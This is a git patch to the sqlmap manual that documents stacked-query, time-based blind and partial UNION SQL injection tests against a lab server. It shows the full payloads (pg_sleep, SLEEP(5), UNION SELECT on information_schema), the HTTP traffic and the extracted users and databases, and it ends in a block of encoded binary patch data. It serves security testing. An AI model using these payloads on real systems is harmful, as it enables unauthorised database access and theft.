From 36d9ede001208ff19c4a7ccd1d586455929cb7cf Mon Sep 17 00:00:00 2001
From: Bernardo Damele
Option: --stacked-test
It is possible to test if the web application technology supports +stacked queries, multiple statements, on the injectable +parameter.
+ +Example on a MySQL 5.0.67 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
+ --stacked-test -v 1
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
+stacked queries support: None
+
+
+
+
+By default PHP builtin function mysql_query()
does not support
+multiple statements.
+Multiple statements is a feature supported by default only by some
+web application technologies in relation to the back-end database
+management system. For instance, as you can see from the next example,
+where PHP does not support them on MySQL, it does on PostgreSQL.
Example on a PostgreSQL 8.3.5 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
+ --stacked-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
+[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
+stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
+
+
+
+
+
Option: --time-test
TODO
+It is possible to test if the target URL is affected by a Time based +blind SQL injection vulnerability.
+ +Example on a MySQL 5.0.67 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
+ --time-test -v 1
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
+condition syntax
+[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
+with AND condition syntax
+time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249'
+
+
+
+
+Example on a PostgreSQL 8.3.5 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" \
+ --time-test -v 1
+
+[...]
+back-end DBMS: PostgreSQL
+
+[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
+condition syntax
+[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
+injection with AND condition syntax
+[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
+query syntax
+[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
+with stacked query syntax
+time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
+
+
+
Example on a Microsoft SQL Server 2000 Service Pack 0 target:
@@ -1915,18 +2012,19 @@ vulnerabilities.
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 \
- --union-use --banner
+ --union-use --current-user
[...]
-[hh:mm:25] [INFO] the target url is affected by an exploitable full inband sql injection
-vulnerability
-[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
-VERSION(),CHAR(122,110,105,89,121,65)), NULL# AND 6043=6043
-[hh:mm:25] [TRAFFIC OUT] HTTP request:
-GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
-%2C108%2C76%2C79%2C106%2C78%29%2CIFNULL%28CAST%28VERSION%28%29%20AS%20CHAR%2810000%29%29
-%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL%23%20AND%2
-06043=6043 HTTP/1.1
+[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
+injection vulnerability
+[hh:mm:29] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
+IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
+NULL# AND 8032=8032
+[hh:mm:29] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
+%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
+%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
+%208032=8032 HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
@@ -1935,11 +2033,11 @@ image/png,*/*;q=0.5
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
-[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
-Date: Mon, 28 Jul 2008 22:34:25 GMT
-Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
-OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
-X-Powered-By: PHP/5.2.4-2ubuntu5.2
+[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Tue, 16 Dec 2008 hh:mm:29 GMT
+Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
+OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
+X-Powered-By: PHP/5.2.6-2ubuntu4
Content-Length: 194
Connection: close
Content-Type: text/html
@@ -1948,21 +2046,81 @@ Content-Type: text/html
<b>SQL results:</b>
<table border="1">
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
-<tr><td></td><td>FPMIFA5.0.67-0ubuntu6zFQAiQ</td><td></td></tr>
+<tr><td></td><td>pnyMXVtestuser@localhostHYKMyg</td><td></td></tr>
</table>
</body></html>
-[hh:mm:25] [INFO] performed 3 queries in 0 seconds
-banner: '5.0.67-0ubuntu6'
+[hh:mm:29] [INFO] performed 3 queries in 0 seconds
+current user: 'testuser@localhost'
-As you can see, the MySQL version()
function (banner) output is
-nested (inband) within the HTTP response page, this makes the inband SQL
-injection exploitable.
As you can see, the MySQL CURRENT_USER()
function (--current-user)
+output is nested, inband, within the HTTP response page, this makes the
+inband SQL injection exploited.
TODO: details on partial ...
+In case the inband SQL injection is not fully exploitable, sqlmap will
+check if it is partially exploitable: this occurs if the query output
+is not parsed within a for
, or similar, cycle but only the first
+entry is displayed in the page content.
Example on a MySQL 5.0.67 target:
++
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 \
+ --union-use --dbs
+
+[...]
+back-end DBMS: MySQL >= 5.0.0
+
+[hh:mm:56] [INFO] fetching database names
+[hh:mm:56] [INFO] testing inband sql injection on parameter 'id'
+[hh:mm:56] [INFO] the target url could be affected by an inband sql injection vulnerability
+[hh:mm:56] [INFO] confirming full inband sql injection on parameter 'id'
+[hh:mm:56] [WARNING] the target url is not affected by an exploitable full inband sql
+injection vulnerability
+[hh:mm:56] [INFO] confirming partial inband sql injection on parameter 'id'
+[hh:mm:56] [INFO] the target url is affected by an exploitable partial inband sql injection
+vulnerability
+[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),
+IFNULL(CAST(COUNT(schema_name) AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL
+FROM information_schema.SCHEMATA# AND 1062=1062
+[hh:mm:56] [INFO] performed 6 queries in 0 seconds
+[hh:mm:56] [INFO] the SQL query provided returns 4 entries
+[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
+information_schema.SCHEMATA LIMIT 0, 1# AND 1421=1421
+[hh:mm:56] [INFO] performed 7 queries in 0 seconds
+[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
+information_schema.SCHEMATA LIMIT 1, 1# AND 9553=9553
+[hh:mm:56] [INFO] performed 8 queries in 0 seconds
+[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
+information_schema.SCHEMATA LIMIT 2, 1# AND 6805=6805
+[hh:mm:56] [INFO] performed 9 queries in 0 seconds
+[hh:mm:56] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(90,121,78,99,122,76),IFNULL(
+CAST(schema_name AS CHAR(10000)), CHAR(32)),CHAR(110,97,105,116,84,120)), NULL FROM
+information_schema.SCHEMATA LIMIT 3, 1# AND 739=739
+[hh:mm:56] [INFO] performed 10 queries in 0 seconds
+available databases [4]:
+[*] information_schema
+[*] mysql
+[*] privatedb
+[*] test
+
+
+
+
+As you can see, sqlmap identified that the parameter is affected by a
+partial inband SQL injection, consequently counted the number of query
+output entries and retrieved once per time by forcing the parameter
+(id
) value 1
to its negative value -1
so that
+it does not returns, presumibly, any output leaving our own UNION ALL
+SELECT
statement to produce one entry at a time and display it in the
+page content.
g%lr@kUTFc0a7h85y(j_i^Zq~xw s*e`noapCA48^#lTqz(OZL-IA9Fc?X_clLw1W
z=u^f2Z%h(4Sp`D>@=zWUiH8l;1PLSo#eUX=*#B>C8S4eXWqA2i1u{s4P16E*6sHU(
z-Oid?{@|qq?9>%p1hZTxF7j{Ec-r~$cWIOWAilg<2Ym=7;O0y9-|PZ3G$+;p7bO7<
zFbQBrj3?bE)u= f+~5b+$zpv#82>n^!1
z_jOv&V8Vxingl9Ukk>zo!);9zzCHXs`q@s_o$HnTgiAz|!LB*p;|0WI_n*%ePbJ$8
z4u0=^?bKDd@*wKYrb(m3T(;2OgTh~k$!2TPiSKf~8N2#fqs8Xfh9{kU&kn-BzL~rB
zFpD(DJGw>A0k-0yzjd#j@Zn%nC#FeHxj<&RP9>;wBtd*pn}52*#@tI>exg2XBBtp*
zP4N8TH<;!9aWqGz6WqP1S9bCp@T(rKLCEI85ymt3n0i`}HbMQtZU_dG`)2*9JbJ5h
z`8H8*@ZfGsH0;_?RM@^)F8S+D1<$Jr=hQpfr;a_|rD(6cpYvJ38#{I>)x=OlaCP5&
zSbp&aTW};xH#^+$ZV$6@c}{C9sg6?utq_s1>hfXpHLmArqz4Vv49TL={nukf7!p-E
zqXGgyehEy|U8fV+J4Y&&gxcdsFZ|$r8DN*dag7YU-FjY`U4eMCsLHm)IPspjNBS^g
zaHmeqA$4%X_*uytk$cpPBX1wVKT!_=KFhn5w^+E3o&opvGayW`VR2cr*k1(K)gw6m
z7OVgM!UQ4lH%NQd@%g6{J%O}@XD$>Q 0nvD8Yz$L@&Sxz-IGK`>?ydslU(!tUMSa*rD
zS9R}4c6Alkr?02$?Q%KMlO7SpV5R=-()Pdu0jqFv_1Meq7TPKZz*b9T;ax!CSEF+o
z-la;?4NQ fX<#J+gY8R8L!h
zU)M^@HfP!P<+BWQ$y6s%H^M7(wdMf^-V1=r907&Af**;$D@>Wu56E|EjBH0g-k4xv
z6Himx9*xC8%vc7_L7kPgdfs@mE)};z5eI^xllX>za2A!^+vkMQ}gNLDVuUfDeFMoZ_!UNZ8MKESYz3x@ld^p_to&7M$FsVNdV4
z2rWstd2I1z@+l$3`+BhcVm594K#ABpbUCk7^_}9Z&OJ!QNL?f@GdTKM8F4J4m(*Ez
zNwYt)ZmbQv{w >8JC{m>A>g
zR=85!igJmPxRI3cOHfqpup)IwgyXS*@2S1Iz
zPR}gs=k8(HE6mkIe-K?+Sv%4@w9&fXiAtzI)HB65^iAW$8;M!UHk{k~az4<2@9lxR
z<+xaV>yd2p#?OiCQTPvbl@oa{an^sjX+DqXuIdWh?Uiz-#F_dS>al!eorEVh>=5!y
zEWthGZTa|jjPKO=-JGel&|t=XyqhQwxJCYERj(iWB_4KTzvx!^IQ$+t@}5mYd3>t0
z5KqswhW)$hb+WN?uG`8lZ
(Bo4@yc>tep}Hja^7&M{_VTdW0K{FGl8L%qo};#4Ahv22VZ$4kmpgQ)ul}HrG6%
z;1f(;Q`O+#i+*r6;3nj?4=5SNzj2t@xViow`u=yvTEGb6ABhO?iNA-|x(>jOHSlR5
z{tx&y|By`nujML#orHwIxw!t>ZD{(g>AWt1=C@p9;HhFd1{#91p-6EtS8qZaN26I-
zzv`qz7fTQyCJX`v)%
HPC
z
a^Y-}V04